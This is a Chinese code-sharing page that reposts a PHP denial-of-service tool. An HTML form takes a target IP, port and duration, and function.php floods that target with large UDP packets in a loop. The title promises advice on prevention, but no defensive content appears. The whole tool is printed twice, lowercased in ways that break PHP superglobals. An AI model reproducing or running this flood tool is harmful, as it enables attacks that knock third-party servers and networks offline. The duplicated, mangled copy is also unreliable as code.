php DOS攻击实现代码(附如何防范)
程序员文章站
2022-04-19 23:26:16
index.php 复制代码 代码如下:
index.php
<?php
$ip = $_server['remote_addr'];
?>
<!doctype html public "-//w3c//dtd html 4.01 transitional//en" "http://www.w3.org/tr/html4/loose.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1">
<meta name="author" content="">
<title>php dos, coded by exe</title>
</head>
<!-- php dos, coded by exe -->
<style type="text/css">
<!--
body {
font-family: arial, helvetica, sans-serif;
font-size: 12px;
font-style: normal;
line-height: normal;
color: #ffffff;
background-color: #000000;
}
-->
</style>
<!-- php dos, coded by exe -->
<body>
<center><br><br>
<img src="main.jpg"><br>
<b>your ip:</b> <font color="red"><?php echo $ip; ?></font> (don't dos yourself nub)<br><br>
<form name="input" action="function.php" method="post">
ip:
<input type="text" name="ip" size="15" maxlength="15" class="main" value = "0.0.0.0" onblur = "if ( this.value=='' ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0' ) this.value = '';">
time:
<input type="text" name="time" size="14" maxlength="20" class="main" value = "time (in seconds)" onblur = "if ( this.value=='' ) this.value = 'time (in seconds)';" onfocus = " if ( this.value == 'time (in seconds)' ) this.value = '';">
port:
<input type="text" name="port" size="5" maxlength="5" class="main" value = "port" onblur = "if ( this.value=='' ) this.value = 'port';" onfocus = " if ( this.value == 'port' ) this.value = '';">
<br><br>
<input type="submit" value=" start the attack---> ">
<br><br>
<center>
after initiating the dos attack, please wait while the browser loads.
</center>
</form>
</center>
<!-- php dos, coded by exe -->
</body>
</html>
function.php
<?php
//=================================================
//php dos v1.8 (possibly stronger flood strength)
//coded by exe
//=================================================
$packets = 0;
$ip = $_post['ip'];
$rand = $_post['port'];
set_time_limit(0);
ignore_user_abort(false);
$exec_time = $_post['time'];
$time = time();
print "flooded: $ip on port $rand <br><br>";
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out .= "x";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mb) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
?>
复制代码 代码如下:
<?php
$ip = $_server['remote_addr'];
?>
<!doctype html public "-//w3c//dtd html 4.01 transitional//en" "http://www.w3.org/tr/html4/loose.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1">
<meta name="author" content="">
<title>php dos, coded by exe</title>
</head>
<!-- php dos, coded by exe -->
<style type="text/css">
<!--
body {
font-family: arial, helvetica, sans-serif;
font-size: 12px;
font-style: normal;
line-height: normal;
color: #ffffff;
background-color: #000000;
}
-->
</style>
<!-- php dos, coded by exe -->
<body>
<center><br><br>
<img src="main.jpg"><br>
<b>your ip:</b> <font color="red"><?php echo $ip; ?></font> (don't dos yourself nub)<br><br>
<form name="input" action="function.php" method="post">
ip:
<input type="text" name="ip" size="15" maxlength="15" class="main" value = "0.0.0.0" onblur = "if ( this.value=='' ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0' ) this.value = '';">
time:
<input type="text" name="time" size="14" maxlength="20" class="main" value = "time (in seconds)" onblur = "if ( this.value=='' ) this.value = 'time (in seconds)';" onfocus = " if ( this.value == 'time (in seconds)' ) this.value = '';">
port:
<input type="text" name="port" size="5" maxlength="5" class="main" value = "port" onblur = "if ( this.value=='' ) this.value = 'port';" onfocus = " if ( this.value == 'port' ) this.value = '';">
<br><br>
<input type="submit" value=" start the attack---> ">
<br><br>
<center>
after initiating the dos attack, please wait while the browser loads.
</center>
</form>
</center>
<!-- php dos, coded by exe -->
</body>
</html>
function.php
复制代码 代码如下:
<?php
//=================================================
//php dos v1.8 (possibly stronger flood strength)
//coded by exe
//=================================================
$packets = 0;
$ip = $_post['ip'];
$rand = $_post['port'];
set_time_limit(0);
ignore_user_abort(false);
$exec_time = $_post['time'];
$time = time();
print "flooded: $ip on port $rand <br><br>";
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out .= "x";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mb) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
?>